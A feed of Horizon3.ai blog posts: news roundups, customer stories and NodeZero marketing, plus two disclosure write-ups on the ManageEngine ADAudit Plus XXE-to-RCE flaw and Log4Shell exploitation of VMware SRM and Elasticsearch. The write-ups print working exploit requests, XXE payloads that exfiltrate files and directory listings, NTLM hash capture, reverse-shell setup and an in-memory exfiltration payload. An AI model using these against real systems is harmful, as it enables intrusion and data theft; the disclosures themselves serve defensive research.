There are new articles available, click to refresh the page.
Before yesterdayHorizon3.ai

Roundup: Horizon3.ai Experts in the News

10 June 2022 at 18:41

What should the future of penetration testing look like? That’s the question Horizon3.ai’s own Eric Fredrickson, Head of Attack Engineering, answers in his article this week in Solutions Review magazine.

Eric’s column is part of the magazine’s Premium Content Series, in which industry experts share insights on maturing software categories.

In his column, Eric talks about what needs to change for better, more effective pentesting: higher frequency, lower cost, autonomous pentests.

“It is a lot to ask, but autonomous, on-demand pentests can change how organizations defend against a growing threat landscape, making it possible to execute tests weekly instead of several times each year,” Eric writes. “This will reduce the time organizations are vulnerable to new attack patterns, verify their existing security controls, and ensure that patches to systems solve the intended weaknesses without introducing new ones.”

Are AI devices spying on you?

Lifewire asks: is AI spying on your conversations? As more and more programs can understand speech, other technology creates custom audio noise to confuse software that may be listening. But is that the real concern? In the article, Horizon3.ai’s Brad Hong, Customer Success Lead, weighs in, noting that we should be more concerned with how these devices are storing our data rather than who is recording you:

“All the stories one hears about a microphone on their computer or mobile devices being activated, Alexa or Google Home listening in, or even government surveillance, it’s true that all of these make the layman’s stomach churn,” Hong told Lifewire. “But all in all, people are rarely in a situation that actually requires camouflaging of their voices.”

The latest on the recent Atlassian Confluence flaw

A recent Atlassian Confluence flaw has been making headlines, and Threatpost spoke with Horizon3.ai’s Naveen Sunkavally, Chief Architect, for insight into what this flaw means. The vulnerability remains unpatched on many versions of the tool.

“CVE-2022-26134 is about as bad as it gets,” Sunkavally told Threatpost.

He noted that the most obvious impact is that attackers could easily compromise public-facing Confluence instances to get a foothold to internal networks.

“Confluence instances often contain a wealth of user data and business-critical information that is valuable for attackers moving laterally within internal networks,” Sunkavalley told Threatpost.

Read the full article here for all of Sunkavally’s insights into the issue.

Quick hits

The post Roundup: Horizon3.ai Experts in the News appeared first on Horizon3.ai.

From a Chance Phone Call to a Partnership: How NodeZero Helped the City of St. Petersburg Improve Its Defenses

14 June 2022 at 01:27

Customer at a Glance:


City of St. Petersburg


Municipal Government


As one of the nation’s fastest-growing cities, St. Pete offers abundant opportunities that attract and retain businesses, investors, residents, and talent. From startups to Fortune 500s, St. Pete supports businesses small and large with systems and structures to help them launch, sustain, and thrive. Downtown development is booming and housing is expanding as more and more people are drawn to this area for the lifestyle and room to grow it provides. More than 265,000 people make their home here, living across 100+ distinct neighborhoods throughout the city and contributing to a regional workforce of over 1.4 million.


11 months after the initial operation, St. Petersburg has cut their weaknesses across over 3,000 internal hosts by almost half (45%), and eradicated impacts from a potential Critical Infrastructure Compromise completely.

As the Chief Information Security Officer for the City of St. Petersburg, FL, Brian Campbell is always on the lookout for ways to elevate the city’s security posture. A cold phone call from Horizon3.ai led to a test run of NodeZero, with its capacity to save time and effort assessing and addressing potential weaknesses.

The Call

For some information security teams, the search for a new solution begins with an existing challenge. But for others, it’s a matter of staying alert for ways to continually improve successful processes.

“We had tool-sets and skill-sets that were pretty streamlined, humming along pretty well,” says Campbell. “But I always look for opportunity for improvement.”

Campbell didn’t plan on answering a call from Horizon3.ai, but when he did, he asked the tough questions and got answers that left him interested in hearing more.

“I’m typically contrarian with sales calls, but their responses were intriguing,” says Campbell. “I was asking very technical questions, and they were able to answer with technical adeptness that led me to the next level of interest.”

The Test Run

This initial chat led to a follow-up technical call for a deeper dive, and from there, Campbell put NodeZero through its paces using his own testing lab.

“I used to teach, and still have capture the flag games to test for finding hidden artifacts – some are extremely hard to find, so much so I had to go back to my own notes to find them. [NodeZero] found them all,” he says.

Working with Horizon3.ai

Campbell found his follow-up interactions with Horizon3.ai encouraging.

Campbell inquired about certain functions that had not yet been implemented for NodeZero, but rather than hearing a “no,” Horizon3.ai’s team said:  let’s figure out how to make that happen.

“I really enjoyed working with them. The intellectual, technical knowledge was quick and painless. I didn’t have to explain things,” says Campbell.

He also was encouraged by conversations with CEO Snehal Antani.

“The impression I had was that there was real compassion for fixing problems in cybersecurity,” says Campbell.

Saving Time and Effort

Campbell performs his own pentests – it’s one of his areas of expertise – so NodeZero had a direct impact on saving him time and energy in his workload.

“NodeZero allowed us to cover a wider base in a shorter period of time,” says Campbell. “It brings to the table ease of use and thoroughness of investigation. I don’t want to say it’s a one-click solution, but it’s pretty close to it. It provides relatively quick, holistic vulnerability testing.”

After Campbell ran the initial op, St. Petersburg cut their weaknesses by 45% over 3,000 internal hosts.

The Team Behind the Product

Campbell says that while he never feels 100% secure as bad actors continuously evolve and improve their practices, NodeZero gives him more confidence in his current security profile.

“NodeZero helps you discover problems you didn’t know you had,” says Campbell. “The product itself is user friendly but the product is 65 or 70 percent of the equation – the team behind it makes it really valuable to me.”

How NodeZero Can Help?

For more information on NodeZero’s functionalities through continuous autonomous penetration testing, visit https://www.horizon3.ai/nodezero/.


The post From a Chance Phone Call to a Partnership: How NodeZero Helped the City of St. Petersburg Improve Its Defenses appeared first on Horizon3.ai.

How Healthcare Organizations Can Assess Their Security (Affordably)

14 June 2022 at 17:20

The digital transformation of healthcare, including adoption of Internet of Things (IoT) devices and leveraging cloud platforms for genomics, telemedicine, and machine learning, could lead to better treatments and improved outcomes for patients. It can also reduce costs for healthcare organizations by as much as $150 billion annually according to Accenture.

One of the hurdles organizations face in adopting new technology initiatives is healthcare security. Attacks on healthcare organizations are common. A 2020 study by the Healthcare Information and Management Systems Society (HIMSS) reported that 70 percent of the organizations had experienced “ significant security incidents” in the past year. A 2021 study found that 48% of US hospitals had either a forced or proactive shutdown their networks over a six month period due to ransomware attacks.

Why? Attackers value their data. This includes Personally Identifiable Information (PII) that can be used for identity theft and Personal Health Information (PHI) valued by criminals for insurance fraud. The latter can fetch up to $1,000 for a single patient’s full medical records on the dark web. Beyond reputational damage and regulatory penalties, data breaches at healthcare organizations are expensive. According to IBM’s 2021 Cost of a Data Breach Report, healthcare organizations have had the highest costs associated with breaches for 11 consecutive years, rising almost 30 percent from 2020 ($7.13 million per breach) to 2021 ($9.23 million).

Chart of average cost of a data breach by industry.

Ransomware is leading to patient casualties

The consequences of a breach go far beyond monetary harm. Ransomware attacks on healthcare organizations can disrupt patient care. The 2017 WannaCry and Petya/NotPetya attacks in the UK forced over 80 National Health Service centers to shut down. Almost 20,000 patient appointments were cancelled, and five hospitals had to divert ambulance to other facilities. More recently, ransomware attacks on hospitals in Germany and Alabama contributed to patient deaths.

Defense is not easy

Defending against these attacks is not always simple, in spite of what cybersecurity product vendors tell you. Skilled attackers will chain together misconfigurations, unpatched software, and stolen credentials to elevate privileges and gain administrator access. Once this occurs, they can do anything they want, including adding new admin users, execute ransomware attacks, and steal sensitive data. Even when organizations are diligent in their patching (and the patch has been confirmed by their tooling) paths can remain open to attackers. Tools can lie…

What healthcare organizations can do

Under HIPAA, covered entities have two primary requirements: risk analysis and risk management. A risk analysis requires organizations to:

Conduct an accurate and thorough assessment of the potential risks and vulnerabilities to the confidentiality, integrity, and availability of electronic protected health information held by the covered entity.

A thorough risk assessment includes a penetration test of your networks. A pentest will identify weaknesses, shadow IT, and attack vectors a criminal could exploit. Unfortunately, manual penetration testing can take weeks of time for preparation, execution, and analysis and tens of thousands of dollars. With ever tightening IT budgets, conducting regular network pentests is impractical for most healthcare organizations.

Opting for automated, “point and click” pentests falls far short of what is required for a thorough assessment. These offers, while affordable, rely on fixed scripts. They are not capable of the same tactics and techniques used by skilled adversaries and often result in inconsequential findings; “noise” and unproven results that defenders must research to determine if they require remediation.

NodeZero is a self-service, autonomous pentesting that provides the results of a skilled pentester at a fraction of the cost and can surface ransomware exposure that puts healthcare organizations at risk. Rather than wait for security resources to become available, IT teams can start an autonomous pentest with just a few clicks. It assesses systems as would a manual pentester, but faster, more completely, and with more actionable results. No credentials or agents are required and they are safe to run on production systems. The results are limited to exploitable weaknesses and include attack paths and “proofs” for each step, so IT teams know exactly how the attack was performed and precisely what to fix.

Autonomous pentests allow healthcare organizations to test as frequently as they like. It makes it practical to validate every software update to confirm proper the updates were successful.

Recently, Snehal Antani, CEO and co-founder of Horizon3.ai, joined Ravi Das, host of the AST Cybersecurity podcast to talk through the challenges healthcare organizations face when it comes to cybersecurity. Tune into his episode here.

Read more on how we help healthcare organizations. 

The post How Healthcare Organizations Can Assess Their Security (Affordably) appeared first on Horizon3.ai.

Roundup: FBI Warns of Stolen Credentials in Higher Ed

17 June 2022 at 16:34

The FBI has warned that cybercriminals were selling stolen credentials information from higher education organizations on Russian hacker forums, CPO Magazine reports.

The attacker sold username and password combinations on publicly accessible forums, and these stolen credentials are believed to have resulted in ongoing cyberattacks on education institutions and organizations in the U.S.

According to the FBI alert, Compromised U.S. Academic Credentials Identified Across Various Public and Dark Web Forums:

The FBI is informing academic partners of identified US college and university credentials advertised for sale on online criminal marketplaces and publicly accessible forums. This exposure of sensitive credential and network access information, especially privileged user accounts, could lead to subsequent cyberattacks against individual users or affiliated organizations.

Horizon3.ai’s Brad Hong, Customer Success Lead, told CPO Magazine, “The education sector continues to make for attractive targets as it’s very rare that a university focuses on its cyber security stack as its #1 priority.”

Hong continued, “As the majority of colleges in the US, especially ones who are not focused on protecting the intellectual property of their research institutes, have neither the staff nor the budget to implement next-generation cyber tools to combat next generation cyber-attacks, the effort to payoff is several tiers lower than any other industry as a whole.”

Be sure to check out the full article in CPO Magazine.

Quick hits:

The post Roundup: FBI Warns of Stolen Credentials in Higher Ed appeared first on Horizon3.ai.

Horizon3.ai allows us to maximize increased security with minimum effort

17 June 2022 at 16:46

NodeZero identified those critical few vulnerabilities that are actually exploitable, allowing us to maximize increased security with minimum effort.

A global manufacturing company’s IT technical champion knew they had blind spots – even though there were no compliance issues – but couldn’t afford more than one Pen-test per year. Their attack surface was expanding alongside their growing IoT footprint. The value of agents and attackers was limited. Enter Horizon3.ai…

In a matter of months, they’ve completed more than 80 operations spanning 16 datacenters and are now running four operations per week, driving their daily standup. This is a Blue Team using NodeZero as a Red Team partner to achieve Purple Team results at a scale and speed across their entire enterprise they could never realize through professional services or external partner testing and assessment. There are no alerts, only results…NO persistent agents, NO scripting and NO silos.

The post Horizon3.ai allows us to maximize increased security with minimum effort appeared first on Horizon3.ai.

Horizon3.ai Adds NodeZero App for Splunk on Splunkbase  

23 June 2022 at 15:18

You asked, and we listened: NodeZero now offers an app via Splunkbase, enabling you to leverage NodeZero and the attacker’s perspective to improve the effectiveness of your Splunk deployments and ensure you’re logging the right data to get the most out of Splunk.

The NodeZero app for Splunk enables you to automate pulling data from NodeZero APIs and ingesting it into Splunk Cloud Platform. The app will integrate with the Splunk user experience to help users:

  • Find, fix, and verify logging blind spots
  • Decide where to increase and decrease logging based on the criticality of the host
  • Take inventory of assets and reconcile the attacker’s perspective of your cyber terrain

Splunk administrators are often under pressure to maximize their license value – it’s often impossible to log everything, so how do you know if you are expending resources appropriately to ensure you’re logging the right data? NodeZero can help identify where logging is most needed, so your resources are deployed for maximum impact.

NodeZero maintains an action log of every command it has executed during a pentest. The NodeZero App for Splunk offers insights to identify blind spots in logging and create a fast feedback loop to find, fix, and verify missing data by using the action log to highlight what should have been detected when particular exploits were executed.

NodeZero Splunk app screen NodeZero Splunk app screenshot.

Identifying critical hosts  

Not all hosts are critical. Some are important enough to log everything, while others may not have access to data or critical systems and thus have less requirements for logging. NodeZero is able to identify risk on specific hosts with context. For Example: A “low” criticality server in the CMDB might have enabled an attack path where NodeZero ultimately achieved Domain Admin – NodeZero would dynamically reclassify this host as CRITICAL risk based on the proven attack path and impact during a pentest operation.

You’ll be able to use the attacker’s perspective provided by NodeZero to inform your logging strategy with Splunk. 

NodeZero Splunk app screenshot 3.

Combining the attacker and defender perspectives  

NodeZero inventories every reachable host within your environment during a pentest. This can often easily reveal a blind spot: are all those hosts seen in Splunk? Often organizations will find hosts they didn’t know existed, were unaware had been added, or even rogue devices that aren’t known to anyone (shadow IT). Using the app, you’ll be able to reconcile NodeZero discovered hosts with existing IT assets in Splunk – marrying the traditional and attacker’s perspective to achieve greater insight.

Learn more about the NodeZero App for Splunk. Are you a Splunk user not yet using NodeZero? Start a free trial today.  



The post Horizon3.ai Adds NodeZero App for Splunk on Splunkbase   appeared first on Horizon3.ai.

What Upcoming State Data Privacy Laws Mean for Businesses

27 June 2022 at 15:00

A new privacy study has found that 60% of states are moving toward new data privacy laws. Despite the push, implementation at the state level is slow – but why? And what impact would these new laws have on the companies and organizations that do business in those states?

Specifically, five states have passed data privacy laws or amendments that will go into effect next year – California, Colorado, Connecticut, Utah, and Virginia. Others are making moves to do the same.

But at the same time, the survey found that less than half of the companies impacted by this legislation have completed necessary compliance actions, despite being in-process to prepare for implementation and also increasing their budgets to make that compliance a reality.

Those compliance actions include:

  • Data mapping
  • Performance assessments
  • Establishing metrics and deadlines to track compliance

What these state data privacy requirements mean for cybersecurity

But what do these changes in state requirements have to with overall cybersecurity posture and management?

“In the commercial sector, the last year alone led to data breaches costing organizations an average of $3.86 million each,” says Eric Bernal, Customer Success Manager with Horizon3.ai. “There are greater impacts than the costs of hiring experts to investigate the breach and look into regulatory findings.”

Reputation costs goes beyond the dollar amount, Bernal notes. “Another cost to consider is your customer’s trust and the organization’s reputation. This would lead to a much greater cost to your organization’s revenue,” he says. “For this reason, it is critical that from the top down it be made a high priority to identify, classify, secure, restrict access to, and purge sensitive information.”

Bernal draws on his time as an Information Systems Security Manager with the U.S. Navy for perspective on identifying, labeling, and protecting critical information.

“The impact of losing critical information could result in losing more than just some data, but also my shipmates,” Bernal says. “The key to properly doing this was having our leadership identify what our organizations considered to be sensitive and critical information. Upon having a clear understanding, we would then make it mandatory for all team members to receive training on information classification.”

The training was held once a quarter as needed whenever changes were made to their policy.

“It’s everyone’s responsibility to know the steps needed to mitigate damages to an organization,” says Bernal. “Our biggest driver for protecting information was knowing what the impacts to our teammates and organization would be if data was lost.”

For more information on how using NodeZero to identify potential risks and vulnerabilities and better protect your organization’s data, visit horizon3.ai.

The post What Upcoming State Data Privacy Laws Mean for Businesses appeared first on Horizon3.ai.

CVE-2022-28219: Unauthenticated XXE to RCE and Domain Compromise in ManageEngine ADAudit Plus

29 June 2022 at 13:13
CVE-2022-28219 is an unauthenticated remote code execution vulnerability affecting Zoho ManageEngine ADAudit Plus, a compliance tool used by enterprises to monitor changes to Active Directory. The vulnerability comprises several issues: untrusted Java deserialization, path traversal, and a blind XML External Entities (XXE) injection. This is a vulnerability that NodeZero, our autonomous pentesting product, has exploited to not only execute code remotely, but in some cases compromise domain administrator accounts. If you’re running ADAudit Plus in your enterprise, we strongly recommend upgrading to build 7060 or later to fix this vulnerability.


We regularly encounter ManageEngine products in internal pentests. The products related to Active Directory management (ADManager Plus, ADSelfService Plus, ADAudit Plus, etc) are especially prevalent. These applications are also attractive to attackers because of the privileged access they have to Active Directory. We decided to take a closer look at ADAudit Plus to see what we could find.

Potential RCE Vector: Return of Cewolf

Typically, in a white box source code review, we begin by understanding what backend API endpoints are accessible to an unauthenticated attacker. For Java web applications, the web.xml file is the place to start.

One of the first things that stood out, and we were surprised to see, was the presence of a /cewolf endpoint handled by the CewolfRenderer servlet in the third-party Cewolf charting library. This is the same vulnerable endpoint from CVE-2020-10189, reported by @steventseeley against ManageEngine Desktop Central. The FileStorage  class in this library was abused for remote code execution via untrusted Java deserialization.

Inspecting the library further, we found that, in addition to deserializing untrusted code, the library doesn’t sanitize input file paths. Using the img parameter, we could deserialize a Java payload anywhere on disk.
Assuming there was already a file on disk containing a Java payload, we could trigger deserialization and command execution with a request like this:
curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload'

Note the servlet request path needs to end in an image file extension like .png to bypass a security filter.

Finding an XXE

We had a powerful remote code execution primitive in hand and needed to find a way to upload a Java payload anywhere on disk. We found several ways for unauthenticated users to upload files but initially had difficulty uploading an arbitrary file containing a Java payload because of security filters and file type checks.

One of the features of ADAudit Plus is the ability to collect security events from agents running on other machines in the domain. To our surprise, we found that a few of the endpoints that agents use to upload events to ADAudit Plus were unauthenticated. This gave us a large attack surface to work with because there’s a lot of business logic that was written to process these events. While looking for a file upload vector, we found a path to trigger a blind XXE vulnerability in the ProcessTrackingListener class, which handles events containing Windows scheduled task XML content. This class was using the dangerous default version of Java’s DocumentBuilderFactory class, which permits external entity resolution and is vulnerable to XXE injection.

We found a request of the following form could trigger the XXE:
curl -H 'Content-Type: application/json' -X POST http://<adap_ip>:<port>/api/agent/tabs/agentData -d @payload.json
Where payload.json looks like:
        "DomainName": "<DOMAIN_NAME>",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<XXE_PAYLOAD>"

The only pre-requisite that an attacker needs to know ahead of time is the name of the fully qualified Windows domain that the ADAudit Plus application is monitoring. This is trivial for attackers to discover.

Blind XXE vulnerabilities in Java can be hard to exploit, but in this case we were aided by the old Java runtime bundled with ADAudit Plus. By default ADAudit Plus ships with Java 8u051.

With the old Java runtime, we found the blind XXE can be used to do all of the following:

  • exfiltrate files over FTP
  • get directory listings over FTP
  • upload files!!

In the wild we’ve found that about 3/4 of the vulnerable ADAudit Plus installs are using the old runtime. We found Java runtime versions 8u131 and later have protections in place to prevent the above actions.



In a test environment, we set up ADAudit Plus on host, running under domain user a-jsmith. Our attacker IP was Upon install, ADAudit Plus automatically detected that it was part of the SMOKE.NET domain.
Step 1: Generate a Java payload using the CommonBeanutils1 gadget. For instance, using ysoserial to run calc.exe:
$JAVA_HOME/bin/java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar
Step 2: Use the XXE vulnerability to upload this payload. There is a really nice Java-specific XXE technique disclosed by Timothy Morgan in 2013 to upload a file using the jar file protocol and a “blocking” server that doesn’t close the connection after the upload. This file is uploaded to a temp folder with a randomly generated name.
Starting the Java blocking upload server (we used the GitHub project here):
java BlockingServer 9090 xxe-upload-test.jar
Then send the request to trigger the XXE and file upload:
curl -H 'Content-Type: application/json' -X POST -d @payload_jar.json
Where payload_jar.json contains:
        "DomainName": "smoke.net",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:!/myfile.txt\"> %xxe; ]>"
The BlockingServer serves the file and keeps the connection open so the temp file is not deleted.
Step 3: Use the XXE vulnerability to locate the file path of the uploaded payload. We used the XXE FTP server from the GitHub project here to exfiltrate directory listings to find the payload:
python2 xxe-ftp-server.py 3000 2122
Port 3000 hosts an external DTD, and port 2122 is the FTP Server port.
Then send the following request:
curl -H 'Content-Type: application/json' -X POST -d @payload_list.json
Where payload_list.json contains:
        "DomainName": "smoke.net",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "Task Content": <?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"\"> %dtd;\n]>\n<data>&send;</data>\n"
The XXE FTP server serves the DTD over HTTP and receives the contents of the temp directory over FTP. In this example, it can be seen that the file was uploaded to the path c:/users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp.
Step 4: Use the /cewolf endpoint to deserialize the contents of the uploaded file and trigger the execution of the command:
curl --path-as-is -v ''

We automated these steps in a self-contained PoC script on GitHub here.

XXE to SSRF to NTLM Relay

As a side note, regardless of the Java runtime version, XXE vulnerabilities in Java and on Windows can also be used to capture and relay the NTLM hashes of the user account under which the application is running. This is because the Java HTTP client will attempt to authenticate over NTLM if it connects to a server requiring NTLM to authenticate.

This is especially useful for an attacker if the ADAudit Plus application is running under a privileged account. As an example, we run the well-known responder tool on the attacker machine:

python3 /usr/share/responder/Responder.py -I ens160
Then we send a request to trigger the XXE and have the ADAudit Plus server connect back to the attacking IP.
curl -H 'Content-Type: application/json' -X POST -d @payload_ntlm.json
Where payload_ntlm.json contains:
        "DomainName": "smoke.net",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \"\"> %xxe; ]>"
Responder captures the NTLMv2 hash of the a-jsmith user under whom the ADAudit Plus application is running.
These hashes can cracked by attackers to recover the plaintext password, or they can be relayed to targets directly and used to execute code on those targets, using well-known tools such as ntlmrelayx from the impacket toolkit.


Applications that integrate with Active Directory have to store credentials to connect to it. In the case of ADAudit Plus, these credentials are stored encrypted in its database. It’s possible to reverse the encryption to access these credentials in the clear.

In the wild, we’ve found that these credentials are often highly privileged. ADAudit Plus makes it easy for users to get started with domain admin credentials, and we’ve seen users take this easy path rather than setting up a dedicated service account with restricted privileges. When this happens, NodeZero will fully compromise the domain through ADAudit Plus, generating an attack graph that looks like this.

Disclosure Timeline

  • March 28, 2022: Vulnerability disclosed to Zoho via bug bounty program
  • March 28, 2022: Vulnerability confirmed by Zoho
  • March 30, 2022: New build ADAudit Plus 7060 released by Zoho
  • April 5, 2022: CVE-2022-28219 published
  • April 5, 2022: Detection and exploitation integrated into Horizon3 NodeZero pentest operations
  • June 29, 2022: This detailed disclosure
The patch in ADAudit Plus 7060 fixes the vulnerability by:
  • Removing the /cewolf endpoint altogether
  • Using a secure version of DocumentBuilderFactoryin the ProcessingTrackingListener class
  • Requiring authentication in the form of an agent GUID between agents and ADAudit Plus
Thanks to Zoho for prompt handling of this vulnerability. We highly recommend users update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus is configured with a dedicated service account with restricted privileges.

The post CVE-2022-28219: Unauthenticated XXE to RCE and Domain Compromise in ManageEngine ADAudit Plus appeared first on Horizon3.ai.

Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List

29 June 2022 at 14:31
By: Cassie

Business Wire: 06/29/22

Horizon3.ai, a cybersecurity firm focused on autonomous penetration testing, announced today that Midsize Enterprise Services (MES), a brand of The Channel Company, has recognized Horizon3.ai on its 2022 MES Matters – Key Vendors Serving the Midmarket list.

Read entire article here

The post Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List appeared first on Horizon3.ai.

The Long Tail of Log4Shell Exploitation

13 July 2022 at 12:54

It’s been more than six months since the Log4Shell vulnerability (CVE-2021-44228) was disclosed, and a number of post-mortems have come out talking about lessons learned and ways to prevent the next Log4Shell-type event from happening. The reality on the ground though is that the vulnerability is far from dead. For the first six months of this year, NodeZero, our autonomous pentesting tool, has detected and exploited Log4Shell in close to a quarter of the environments it’s run in, and that rate has held steady month over month. This is consistent with the recent CISA advisory sounding the alarm that threat actors are continuing to exploit VMWare Horizon servers using Log4Shell.


Month (2022)
% Internal Networks that NodeZero Detected & Exploited Log4Shell
January 22.0
February 25.9
March 32.1
April 23.3
May 18.5
June 22.1
Total 23.5


Naturally a lot of exploitation of Log4Shell to date has been focused on well-known, widely deployed applications such as VMware Horizon, VMware vCenter, and the Unifi Network application. But this is the tip of the iceberg. There are probably thousands of Java applications out there impacted by Log4shell to varying degrees, and thousands of new exploit paths to be discovered. All it takes is for a motivated attacker to turn his or her focus onto a specific application being run by an enterprise, and within a day or two, an exploit can be potentially developed and weaponized.

We’ll walk through the exploit process below, leading to remote code execution, against a few applications: VMware Site Recovery Manager, Elasticsearch 5, and OpenNMS. The purpose of this is to demonstrate the widespread and long-standing impact of Log4Shell and the speed at which exploits can be developed. Ultimately, one of the goals of NodeZero as a pentesting tool is to surface the true impact of various vulnerabilities, misconfigurations, and compromised credentials. We believe this impact is best demonstrated through proof of actual exploitation. We’ve seen that knowledge of this kind of impact is what enables companies to accurately evaluate risk and prioritize the work needed to best improve their security posture.


We assume readers are familiar with how the Log4Shell vulnerability works. If you need a refresher, we’ve written previously about Log4Shell before here and here.

In general, the exploit process for Log4Shell consists of two steps:
  • Identifying a JNDI lookup injection point: This is the network request that an unauthenticated attacker sends to the application that will cause the application to log a message using the vulnerable Apache log4j2 library, which in turn will cause the application to make a JNDI lookup to an attacker-hosted server.
  • Figuring out what Java payload to serve from the attacker-hosted server: This is the payload that’s retrieved by the vulnerable application via the JNDI lookup and deserialized to execute remote code.

For the first step, to verify the JNDI lookup injection point, we used the DNSLog service at dnslog.cn to catch DNS callbacks from the vulnerable application. Other tools like Burp Collaborator or an Interactsh server can also be used for this purpose.

Exploiting VMware Site Recovery Manager

VMware Site Recovery Manager is “the industry-leading disaster recovery (DR) management solution, designed to minimize downtime in case of a disaster.” It’s one of many VMware applications affected by Log4Shell from the VMware Log4Shell advisory. We installed version 8.3.0 in our lab. The application exposes two ports, 443 for the SRM application and 5480 for managing the SRM appliance.


For a quick win, we initially tried inserting a JNDI payload into the username field of the login form of the SRM application, but we failed to get a DNS callback. So then we pulled the jar files from the SRM appliance and decompiled them, and starting probing API endpoints that an unauthenticated attacker could access. Shortly after we identified an injection point in the OAuth2LoginServlet using the error parameter. The servlet is accessible at the /dr/authentication/oauth2/oauth2login endpoint.

We verified the injection point by sending an HTTP GET request of this form:

curl --path-as-is -k ''
And got the expected DNS callback:


Just like Horizon and vCenter, SRM uses Apache Tomcat as its application server. Tomcat-based applications that are vulnerable to Log4Shell are easy to exploit for remote code execution, regardless of the Java runtime version. The general technique is described here and automated by the JNDI-Exploit-Kit tool.

We started up JNDI-Exploit-Kit on the attacker server to serve a bash reverse shell payload, and a netcat listener to catch a reverse shell on port 9999:

Then fired off the HTTP request to trigger the callback to the JNDI-Exploit-Kit server:
curl --path-as-is -k ''
And got a shell as the tomcat user:
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable SRM instance:


SRM is not typically deployed to be Internet facing. We only found ~20 of them publicly exposed using Shodan. However we do see it occasionally in internal pentests, and it could be an attractive target for threat actors seeking to make a ransomware incident even more painful by disrupting disaster recovery plans. We recommend updating the appliance to the latest version per VMware’s advisory or applying the  workaround described here.

Exploiting Elasticsearch 5

Elasticsearch is a popular open-source distributed search and analytics engine. The Elasticsearch advisory for Log4Shell says that only Elasticsearch 5 is vulnerable to remote code execution because of the way Elasticsearch uses the Java Security Manager to lock down permissions. We were able to confirm this is the case – in vulnerable versions of Elasticsearch versions 6 and beyond, the application will perform DNS lookups of attacker-controlled host names but not initiate any TCP connections to attacker-controlled servers. The DNS lookups can be used to leak system information such as environment variables, but remote code execution is not possible. This can be seen through the difference in the security.policy file for version 5.6 vs. version 6.0.

For testing we set up various versions of Elasticsearch 5 from the Elasticsearch docker repo at docker.elastic.co/elasticsearch.


We found a few methods to trigger JNDI lookups through the Elasticsearch REST API by creating resources like types or triggering deprecation warnings. However we found these methods to be too destructive/noisy, or they didn’t work universally against all versions of Elasticsearch 5.

Looking more closely at the source code and issues on Github, we found an issue indicating that sending a malformed JSON as part of a search request will trigger an internal server error that is then logged. We verified this works against all versions of Elasticsearch 5 and beyond up to 7.6. For instance:

curl --path-as-is -X GET '$%7Bjndi:ldap://oyfbln.dnslog.cn%7D' -d '{'

Triggers this error:

Which results in a DNS callback:


Elasticsearch runs on the Netty framework, so the Tomcat-based exploit used against VMware Site Recovery Manager doesn’t apply here. We decided to explore the next best option, which is a remote class-loading attack against applications running with Java runtime versions < 8u191. This remote class-loading attack is automated by tools like rogue-jndi.

We pulled a bunch of different versions of Elasticsearch 5 from the docker.elastic.co/elasticsearch repo to understand the Java runtime version they were bundled with. We found that all versions from 5.0.0 to 5.6.12 were running Java runtime versions < 8u191, and versions from 5.6.13 to 5.6.16 were running Java runtime >= 8u191. While not everyone runs Elasticsearch using Docker images from docker.elastic.co/elasticsearch, we surmise from this that most of the Elasticsearch 5 instances running in the wild are exploitable to remote code execution using the remote class-loading attack.

One wrinkle we discovered with exploitation is that remote code execution is not the same as arbitrary code execution. In particular, because of Elasticsearch’s usage of the Security Manager, running host commands directly with Runtime.exec or ProcessBuilder was not possible, and access to the file system was limited. We did find it was possible to make arbitrary network calls, read from/write to a few directories like /tmp, and run stuff in memory like a crypto miner.

For instance, to send a network request to an internal server hosted at and send the response back to the attacker’s server on port 9999, we modified the HTTPServer class in rogue-jndi to use the following payload:

{ new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"var response = \'\'; var is = new java.io.BufferedReader(new java.io.InputStreamReader(new java.net.URL(\'\').openStream())); var inputLine=null; while( (inputLine=is.readLine()) != null) response += inputLine; is.close(); var s = new java.net.Socket(\'\', 9999); var os = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); os.write(response); os.flush(); s.close();\"); }
We set up a simple test internal server on
Then started up rogue-jndi and netcat listener on port 9999:
And sent the request to trigger the JNDI lookup:
curl --path-as-is -X GET '$%7Bjndi:ldap://' -d '{'
Which resulted in exfiltrating data from the internal server:

NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable Elasticsearch instance:

To exploit Elasticsearch 5 versions running with Java >= 8u191, a deserialization gadget must be found among the libraries in the classpath of the Elasticsearch application. We noticed that Elasticsearch 5 pulls in the groovy-2.4.6-indy.jar library, which is vulnerable to CVE-2016-6814 and exploitable using the technique described here. However, we were thwarted from executing this gadget by the Security Manager and did not pursue exploitation further.


Using the Shodan API, we found a total of 22914 Elasticsearch servers exposed on the Internet without authentication. Of these, 1275 were found to be running Elasticsearch 5, and among those, 955 servers are running a version <= 5.6.12, and therefore are likely to be running a Java runtime < 8u191. Based on this we estimate there are roughly 900-1000 Elasticsearch 5 servers on the Internet that are exploitable to remote code execution using the technique described above. Of course, it’s already bad to have an open Elasticsearch server on the Internet – now those servers can also be abused to pivot into internal networks. If you’re running a vulnerable version of Elasticsearch, we recommend following the remediation guidance in the Elasticsearch advisory to update to the latest or apply a work-around.

